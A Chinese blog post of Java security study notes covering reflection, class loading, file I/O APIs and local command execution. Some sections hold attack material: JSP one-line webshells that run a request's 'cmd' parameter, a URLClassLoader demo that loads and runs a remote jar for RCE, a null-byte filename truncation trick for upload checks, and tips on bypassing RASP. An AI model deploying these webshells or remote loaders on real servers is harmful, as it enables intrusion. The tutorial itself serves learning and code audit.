LOADING

首次加载会比较慢,果咩~

请打开缓存,下次打开就会很快啦

Java安全学习笔记

本文摘录自攻击Java Web应用-[Java Web安全],在一些顺序,细节上有所不同,有增加一些补充知识。

#Java基础

#Java反射机制

#什么是反射?

  Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。

  所谓动态,就是并不根据源代码来创建类,而是可以根据诸如配置文件等外部信息来创建类或实例等。

  Java 中,通常情况下,我们在编译时就已经确定了要使用的类、方法和属性。而反射机制打破了这种限制,它允许程序在运行时检查和操作类、对象、方法、字段等,无需在编译时知道这些元素的具体信息。

  所以反射应用在无法知晓操作对象或类属于什么类,只能依靠运行时的信息获取该类的信息,比如spring根据xml来创建一个类,就是反射的应用。

  Java 反射机制的核心是 Class 类。在 Java 中,每个类在被加载到 JVM 时,都会创建一个对应的 Class 对象,这个 Class 对象包含了该类的所有元数据信息,如类的名称、父类、接口、字段、方法、构造函数等。通过 Class 对象,我们可以在运行时动态地获取和操作这些信息。

#获取Class对象

  Java反射操作的是java.lang.Class对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象:

  1. 类名.class,如:java.lang.Runtime.class;
  2. Class.forName("java.lang.Runtime");
  3. ClassLoader.getSystemClassLoader().loadClass(java.lang.Runtime.class);

  获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式,如下:

Class<?> doubleArray = Class.forName("[D");//相当于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class

类型描述符(Type Descriptor)是一种用于以紧凑、机器可读的格式表示 Java 类型的方式,常用于字节码操作、反射和序列化等场景。

  • 基本数据类型有对应的单字符描述符:
基本数据类型 描述符
boolean Z
byte B
char C
short S
int I
long J
float F
double D
  • 对于引用类型(类、接口、数组等),描述符是该类型的全限定名,并且用斜杠 / 代替点号 .,并在前面加上 L,后面加上分号 ;。例如:

    • java.lang.String 的描述符是 Ljava/lang/String;
    • 自定义类 com.example.MyClass 的描述符是 Lcom/example/MyClass;
  • 数组类型的描述符以 [ 开头,后面跟着元素类型的描述符。例如:

    • 一维 int 数组 int[] 的描述符是 [I
    • 二维 int 数组 int[][] 的描述符是 [[I
    • 一维 String 数组 String[] 的描述符是 [Ljava/lang/String;

#反射java.lang.Runtime

  java.lang.Runtime因为有一个exec方法可以执行本地命令,所以在很多的payload中我们都能看到反射调用Runtime类来执行本地系统命令,通过学习如何反射Runtime类也能让我们理解反射的一些基础用法。

不使用反射执行本地命令代码片段:

// 输出命令执行结果
System.out.println(org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));

  如果使用反射就会比较麻烦了,我们不得不需要间接性的调用Runtimeexec方法。

Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 获取Runtime类对象

Constructor constructor = runtimeClass1.getDeclaredConstructor();
// 获取无参构造方法(getDeclaredConstructor 可以获取类中所有访问权限(包括私有、受保护和公共)的构造方法。)
constructor.setAccessible(true);
// Runtime 类的构造方法是私有的,默认情况下不能直接访问。setAccessible(true) 方法用于设置该构造方法的可访问性,将其访问权限设置为可访问,这样就可以绕过 Java 的访问控制机制来调用私有构造方法。


Object runtimeInstance = constructor.newInstance();
// 创建Runtime类示例,等价于 Runtime rt = new Runtime();

Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
// 获取Runtime的exec(String cmd)方法
/* 
getMethod(String name, Class<?>... parameterTypes),name是要获取的方法名,parameterTypes是参数类型,注意一一对应。
*/

Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 调用exec方法,等价于 rt.exec(cmd);

InputStream in = process.getInputStream();
// 获取命令执行结果

System.out.println(org.apache.commons.io.IOUtils.toString(in, "UTF-8"));
// 输出命令执行结果

  反射调用Runtime实现本地命令执行的流程如下:

  1. 反射获取Runtime类对象(Class.forName("java.lang.Runtime"))。

  2. 使用Runtime类的Class对象获取Runtime类的无参数构造方法(getDeclaredConstructor()),因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))。

  3. 获取Runtime类的exec(String)方法(runtimeClass1.getMethod("exec", String.class);)。

  4. 调用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))。

  上面的代码每一步都写了非常清晰的注释,接下来我们将进一步深入的了解下每一步具体含义。

反射创建类实例

  在Java的任何一个类都必须有一个或多个构造方法,如果代码中没有创建构造方法那么在类编译的时候会自动创建一个无参数的构造方法。

Runtime类构造方法示例代码片段:

public class Runtime {

   /** Don't let anyone else instantiate this class */
  private Runtime() {}

}

  从上面的Runtime类代码注释我们看到它本身是不希望除了其自身的任何人去创建该类实例的,因为这是一个私有的类构造方法,所以我们没办法new一个Runtime类实例即不能使用Runtime rt = new Runtime();的方式创建Runtime对象,但示例中我们借助了反射机制,修改了方法访问权限从而间接的创建出了Runtime对象。

  runtimeClass1.getDeclaredConstructorruntimeClass1.getConstructor都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。如果构造方法有一个或多个参数的情况下我们应该在获取构造方法时候传入对应的参数类型数组,如:clazz.getDeclaredConstructor(String.class, String.class)

如果我们想获取类的所有构造方法可以使用:clazz.getDeclaredConstructors来获取一个Constructor数组。

  获取到Constructor以后我们可以通过constructor.newInstance()来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值,如:constructor.newInstance("admin", "123456")。当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了。

#反射调用类方法

  Class对象提供了一个获取某个类的所有的成员方法的方法,也可以通过方法名和方法参数类型来获取指定成员方法。

  1. 获取当前类所有的成员方法:
Method[] methods = clazz.getDeclaredMethods()
  1. 获取当前类指定的成员方法:
Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);

  getMethodgetDeclaredMethod都能够获取到类成员方法,区别在于getMethod只能获取到当前类和父类的所有有权限的方法(如:public),而getDeclaredMethod能获取到当前类的所有成员方法(不包含父类)。

  1. 反射调用方法

获取到java.lang.reflect.Method对象以后我们可以通过Methodinvoke方法来调用类方法。

  1. 调用类方法代码片段:
method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);

  method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用。

  method.invoke的第二个参数不是必须的,如果当前调用的方法没有参数,那么第二个参数可以不传,如果有参数那么就必须严格的依次传入对应的参数类型

#反射调用成员变量

  Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值

获取当前类的所有成员变量:

Field fields = clazz.getDeclaredFields();

获取当前类指定的成员变量:

Field field  = clazz.getDeclaredField("变量名");

  getFieldgetDeclaredField的区别同getMethodgetDeclaredMethod

获取成员变量值:

Object obj = field.get(类实例对象);

修改成员变量值:

field.set(类实例对象, 修改后的值);

  同理,当我们没有修改的成员变量权限时(如私有)可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限。

  如果我们需要修改被final关键字修饰的成员变量,那么我们需要先修改方法

// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");

// 设置modifiers修改权限
modifiers.setAccessible(true);

// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
/*
setInt() 是 Field 类的一个方法,用于设置该 Field 对象所代表的字段的值。这里将 field 对象的 modifiers 字段的值设置为移除 final 修饰符后的结果(将filed改为field.getModifiers() & ~Modifier.FINAL)。
getModifiers() 是 Field 类的一个方法,用于获取该字段的修饰符。修饰符是一个整数,不同的修饰符对应不同的位标志。
Modifier 是 Java 提供的一个工具类,其中包含了许多用于表示修饰符的常量,如 Modifier.PUBLIC、Modifier.FINAL 等。
Modifier.FINAL 的值是 16,在二进制中表示为 0001 0000。
将 field.getModifiers() 的值和 ~Modifier.FINAL 进行按位与运算,结果上来说就是清除 field 修饰符中 final 对应的位。
*/

// 修改成员变量值
field.set(类实例对象, 修改后的值);

#Java反射机制总结

  Java反射机制是Java动态性中最为重要的体现,利用反射机制我们可以轻松的实现Java类的动态调用。Java的大部分框架都是采用了反射机制来实现的(如:Spring MVCORM框架等),Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。

#ClassLoader类加载机制

ClassLoader

  Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法(defineClass0/1/2)来定义一个java.lang.Class实例。

  以下是JVM架构图:

  一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。

  在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)Extension ClassLoader(扩展类加载器)App ClassLoader(系统类加载器)。在这之中,AppClassLoader是默认的类加载器,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader

  值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null

  ClassLoader类有如下核心方法:

  • loadClass(加载指定的Java类)

  • findClass(查找指定的Java类)

  • findLoadedClass(查找JVM已经加载过的类)

  • defineClass(定义一个Java类)

  • resolveClass(链接指定的Java类)

#Java类动态加载方式

  Java类加载方式分为显式隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

显式加载是主动加载一个类,隐式加载是为了达到其他目的而需要加载某个类。

  常用的类动态加载方式:

// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");

// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

  Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

类初始化的执行内容

初始化时会按顺序执行:

  1. 静态变量的显式赋值(按代码顺序)
  2. 静态代码块(static { ... })(按代码顺序)

注意初始化是不会执行静态方法的,需要显式调用才行。

#ClassLoader类加载流程

  我们以一个Java的HelloWorld来学习ClassLoader

  ClassLoader加载com.anbai.sec.classloader.TestHelloWorldloadClass重要流程如下:

  • ClassLoader会调用public Class<?> loadClass(String name,boolen resolve)方法加载com.anbai.sec.classloader.TestHelloWorld类。

    Class<?>:指示方法返回类型,Class 是 Java 中表示类的元数据的类,<?> 是泛型通配符,表示可以是任何类的 Class 对象。

  • 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。

  • 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。

    ClassLoader 类中有一个受保护的字段 parent,它保存了当前类加载器的父类加载器。当你通过构造函数 ClassLoader(ClassLoader parent) 创建一个 ClassLoader 实例时,传入的父类加载器会被赋值给 parent 字段。

    如果没有传入父类加载器,parent 字段会被设置为系统类加载器(System ClassLoader)的父类加载器,而系统类加载器的父类加载器是 Bootstrap ClassLoader(在 Java 代码中表现为 null,因为 Bootstrap ClassLoader 是由 JVM 底层实现的,没有对应的 Java 对象)。

  • 如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。

  • 如果当前的ClassLoader没有重写findClass方法,那么直接返回类加载失败异常。如果当前ClassLoader重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。

    findClass 方法是一个受保护的方法,默认实现只是抛出 ClassNotFoundException,通常需要子类重写该方法来实现自定义的类加载逻辑。

  • 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。

  • 返回一个被JVM加载后的java.lang.Class类对象。

#自定义ClassLoader

  java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

  既然已知ClassLoader具备了加载类的能力,那么我们不妨尝试下写一个自己的类加载器来实现加载自定义的字节码(这里以加载TestHelloWorld类为例)并调用hello方法。

  如果com.anbai.sec.classloader.TestHelloWorld类存在的情况下,我们可以使用如下代码即可实现调用hello方法并输出:

TestHelloWorld t = new TestHelloWorld();
        String str = t.hello();
        System.out.println(str);

  但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我们的classpath那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

TestClassLoader示例代码:

package com.anbai.sec.classloader;

import java.lang.reflect.Method;

/**
 * Creator: yz
 * Date: 2019/12/17
 */
public class TestClassLoader extends ClassLoader {

    // TestHelloWorld类名
    private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";

    // TestHelloWorld类字节码
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    };

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();

        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);

            // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
            Object testInstance = testClass.newInstance();

            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");
            /*上述三句也可以不创建实例直接通过类来getMethod()。*/
            
            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);

            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

  利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。

#URLClassLoader

  URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

package com.anbai.sec.classloader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("https://anbai.io/tools/cmd.jar");

            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定义需要执行的系统命令
            String cmd = "ls";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("CMD");

            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream           in   = process.getInputStream();
            /*
            InputStream 是 Java 中表示字节输入流的抽象类,它是所有字节输入流的基类。getInputStream 方法用于获取子进程的标准输出流。
            */
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

write 方法的作用如下
baos.write(b, 0, a); 调用的是 ByteArrayOutputStream 类的 write 方法,该方法的完整签名为:

public void write(byte[] b, int off, int len)

参数解释:
- b:要写入的字节数组,这里是之前定义的用于存储从输入流读取数据的缓冲区。
- off:字节数组 b 中开始写入的起始索引,这里是 0,表示从字节数组的第一个元素开始写入。
- len:要写入的字节数,这里是 a,即 in.read(b) 实际读取的字节数。

  远程的cmd.jar中就一个CMD.class文件,对应的编译之前的代码片段如下:

import java.io.IOException;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

借助vps就可以做到rce

#类加载隔离

  创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两者必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

> 由于机制过于底层暂且跳过,之后再论

#Java文件系统安全

  在Java语言中对文件的任何操作最终都是通过JNI调用C语言函数实现的。Java为了能够实现跨操作系统对文件进行操作抽象了一个叫做FileSystem的对象出来,不同的操作系统只需要实现起抽象出来的文件操作方法即可实现跨平台的文件操作了。

#Java FileSystem

  在Java SE中内置了两类文件系统:java.iojava.niojava.nio的实现是sun.nio,文件系统底层的API实现如下图:

Java IO文件系统

  Java抽象出了一个叫做文件系统的对象:java.io.FileSystem,不同的操作系统有不一样的文件系统,例如WindowsUnix就是两种不一样的文件系统: java.io.UnixFileSystemjava.io.WinNTFileSystem

  java.io.FileSystem是一个抽象类,它抽象了对文件的操作,不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。而Java对文件的操作最终都会调用动态链接库中C实现的Java Native方法。

  由此我们可以得出Java只不过是实现了对文件操作的封装而已,最终读写文件的实现都是通过调用native方法实现的

不过需要特别注意一下几点:

  1. 并不是所有的文件操作都在java.io.FileSystem中定义,文件的读取最终调用的是java.io.FileInputStream#read0、readBytesjava.io.RandomAccessFile#read0、readBytes,而写文件调用的是java.io.FileOutputStream#writeBytesjava.io.RandomAccessFile#write0
  2. Java有两类文件系统API,一个是基于阻塞模式的IO的文件系统,另一是JDK7+基于NIO.2的文件系统。即java.iojava.nio

Java NIO.2 文件系统

  Java 7提出了一个基于NIO的文件系统,这个NIO文件系统和阻塞IO文件系统两者是完全独立的。java.nio.file.spi.FileSystemProvider对文件的封装和java.io.FileSystem同理。

  NIO的文件操作在不同的系统的最终实现类也是不一样的,比如Mac的实现类是: sun.nio.fs.UnixNativeDispatcher,而Windows的实现类是sun.nio.fs.WindowsNativeDispatcher

  合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了java.io.FileSystemWAFRASP

运行时应用程序自我保护(RASP)是一种在应用上运行的技术,在应用程序运行时发挥作用,旨在实时检测针对应用程序的攻击。

一旦应用程序开始运行,RASP可以通过分析应用程序的行为和这种行文的上下文来保护它不受恶意注入或行为的影响。通过使用应用程序不断地监控其行为,攻击可以在不需要人工干预的情况下立即被识别和缓解。

摘录自RASP技术是什么,为什么这么关键

#java IO/NIO多种读写文件方式

  上一章节我们提到了Java 对文件的读写分为了基于阻塞模式的IO和非阻塞模式的NIO,本章节我将列举一些我们常用于读写文件的方式。

我们通常读写文件都是使用的阻塞模式,与之对应的也就是java.io.FileSystemjava.io.FileInputStream类提供了对文件的读取功能,Java的其他读取文件的方法基本上都是封装了java.io.FileInputStream类,比如:java.io.FileReader

对于“封装”的细节解释:

封装(Encapsulation) 的核心思想是隐藏内部实现细节,仅暴露必要的接口

例如这里对于java.io.FileReader,它继承于InputStreamReader类,它接受一个InputStream(输入流,如FileInputStream),并将其字节流按指定编码转换为字符流(即是将字节流按指定编码转换为字符流)。

这里的封装过程大致如下:

public class FileReader extends InputStreamReader 
{
    FileInputStream fis = new FileInputStream("file.txt");
    // 创建FileInputStream,这一步负责打开文件的字节流。
    InputStreamReader isr = new InputStreamReader(fis,Charset.defaultCharset());
    // 包装为InputStreamReader,这里将字节流fis转换为字符流,默认使用平台编码(如UTF-8)。
    public FileReader(String fileName) throws FileNotFoundException 
    {
         super(new FileInputStream(fileName)); 
        // 调用父类InputStreamReader的构造函数
        // 通过super()将FileInputStream传递给父类InputStreamReader,完成封装。
    }
}

在有这样的一个FileReader类之后,我们就不需要进行读取字节流,转换为字符流等麻烦的流程,可以快速读取文件内容,调用也很方便。

FileInputStream

使用FileInputStream实现文件读取Demo:

package com.anbai.sec.filesystem;

import java.io.*;

/**
 * Creator: yz
 * Date: 2019/12/4
 */
public class FileInputStreamDemo {

    public static void main(String[] args) throws IOException {
        File file = new File("/etc/passwd");

        // 打开文件对象并创建文件输入流
        FileInputStream fis = new FileInputStream(file);

        // 定义每次输入流读取到的字节数对象
        int a = 0;

        // 定义缓冲区大小
        byte[] bytes = new byte[1024];

        // 创建二进制输出流对象
        ByteArrayOutputStream out = new ByteArrayOutputStream();

        // 循环读取文件内容
        while ((a = fis.read(bytes)) != -1) {
            // 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
            // 下标0开始截取,a表示输入流read到的字节数。
            out.write(bytes, 0, a);
        }

        System.out.println(out.toString());
    }

}

FileOutputStream

使用FileOutputStream实现写文件Demo:

package com.anbai.sec.filesystem;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;

/**
 * Creator: yz
 * Date: 2019/12/4
 */
public class FileOutputStreamDemo {

    public static void main(String[] args) throws IOException {
        // 定义写入文件路径
        File file = new File("/tmp/1.txt");

        // 定义待写入文件内容
        String content = "Hello World.";

        // 创建FileOutputStream对象
        FileOutputStream fos = new FileOutputStream(file);

        // 写入内容二进制到文件
        fos.write(content.getBytes());
        fos.flush();
        fos.close();
    }

}

  代码逻辑比较简单: 打开文件->写内容->关闭文件。

RandomAccessFile

  Java提供了一个非常有趣的读取文件内容的类: java.io.RandomAccessFile,这个类名字面意思是任意文件内容访问,特别之处是这个类不仅可以像java.io.FileInputStream一样读取文件,而且还可以写文件。

RandomAccessFile读取文件测试代码:

package com.anbai.sec.filesystem;

import java.io.*;

/**
 * Creator: yz
 * Date: 2019/12/4
 */
public class RandomAccessFileDemo {

    public static void main(String[] args) {
        File file = new File("/etc/passwd");

        try {
            // 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、
            // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
            RandomAccessFile raf = new RandomAccessFile(file, "r");

            // 定义每次输入流读取到的字节数对象
            int a = 0;

            // 定义缓冲区大小
            byte[] bytes = new byte[1024];

            // 创建二进制输出流对象
            ByteArrayOutputStream out = new ByteArrayOutputStream();

            // 循环读取文件内容
            while ((a = raf.read(bytes)) != -1) {
                // 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
                // 下标0开始截取,a表示输入流read到的字节数。
                out.write(bytes, 0, a);
            }

            System.out.println(out.toString());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

任意文件读取特性体现在如下方法:

// 获取文件描述符
public final FileDescriptor getFD() throws IOException 

// 获取文件指针
public native long getFilePointer() throws IOException;

// 设置文件偏移量
private native void seek0(long pos) throws IOException;

  java.io.RandomAccessFile类中提供了几十个readXXX方法用以读取文件系统,最终都会调用到read0或者readBytes方法,我们只需要掌握如何利用RandomAccessFile读/写文件就行了。

RandomAccessFile写文件测试代码:

package com.anbai.sec.filesystem;

import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;

/**
 * Creator: yz
 * Date: 2019/12/4
 */
public class RandomAccessWriteFileDemo {

    public static void main(String[] args) {
        File file = new File("/tmp/test.txt");

        // 定义待写入文件内容
        String content = "Hello World.";

        try {
            // 创建RandomAccessFile对象,rw表示以读写模式打开文件,一共有:r(只读)、rw(读写)、
            // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
            RandomAccessFile raf = new RandomAccessFile(file, "rw");

            // 写入内容二进制到文件
            raf.write(content.getBytes());
            raf.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

#Java 文件名空字节截断漏洞

  空字节截断漏洞漏洞在诸多编程语言中都存在,究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞,并不是Java本身的安全问题。高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。

  测试类FileNullBytes.java:

package com.anbai.sec.filesystem;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;

/**
 * @author yz
 */
public class FileNullBytes {

    public static void main(String[] args) {
        try {
            String           fileName = "/tmp/null-bytes.txt\u0000.jpg";
            FileOutputStream fos      = new FileOutputStream(new File(fileName));
            fos.write("Test".getBytes());
            fos.flush();
            fos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

  使用JDK1.7.0.25测试成功截断文件名:

  使用JDK1.7.0.80测试写文件截断时抛出java.io.FileNotFoundException: Invalid file path异常:

空字节截断利用场景

  Java空字节截断利用场景最常见的利用场景就是文件上传时后端获取文件名后使用了endWith、正则使用如:.(jpg|png|gif)$验证文件名后缀合法性且文件名最终原样保存,同理文件删除(delete)、获取文件路径(getCanonicalPath)、创建文件(createNewFile)、文件重命名(renameTo)等方法也可适用。

#Java本地命令执行

  Java原生提供了对本地系统命令执行的支持,黑客通常会RCE利用漏洞或者WebShell来执行系统终端命令控制服务器的目的。对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求,而对于黑客来说本地命令执行是一种非常有利的入侵手段。

Runtime命令执行

  在Java中我们通常会使用java.lang.Runtime类的exec方法来执行本地系统命令。

runtime-exec2.jsp执行cmd命令示例:

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
  1. 本地nc监听9000端口:nc -vv -l 9000

  2. 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。

  我们可以在nc中看到已经成功的接收到了java执行了curl命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。但是这是个没有回显的RCE,需要修改一下:

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
    InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;

    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }

    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

jsp的基本语法:

  1. 注释:<%- -%>

    • jsp注释语法的格式是:**<%– 这里是注释 –%>**
    • jsp的注释内容仅仅提供开发过程的提示作用,最后面输出到客户端的html代码中是无法看见jsp注释的。这有别于html代码的注释,html的注释是可以在客户端的源码。
  2. 声明:<%! %>

    • jsp声明的语法格式是:<%! 这里是声明内容 %>
    • 之前提到,jsp会在运行的时候由容器编译成servlet文件,而servlet是一个java 对象,因此在jsp中进java变量或者方法的声明和在servlet中的声明是一样的。容器会在编译的时候将jsp中声明的变量和方法编译到对应的servlet中去,且接受private,public,static等修饰符。值得注意的是,每个servlet在容器中只存在一个实例。
  3. 输出:<%= %>

    • jsp输出表达式的语法格式:**<%=表达式(注意jsp表达式后面无需添加分号表示结束)%>**
    • jsp中的表达式语句在对应的servlet中将会编译为out.print()语句。因此起到的作用就是简化jsp的输出语法。
  4. 脚本:<% %>

    • jsp脚本的语法格式是:<% 这里是java程序 %>
    • 嵌套在<% %>中的java代码就是jsp中的java脚本,jsp中的java脚本将会被容器编译成service()方法中的可执行代码,因此对于jsp脚本来说,不能在其中定义方法,因为在java中不允许在方法中定义方法。

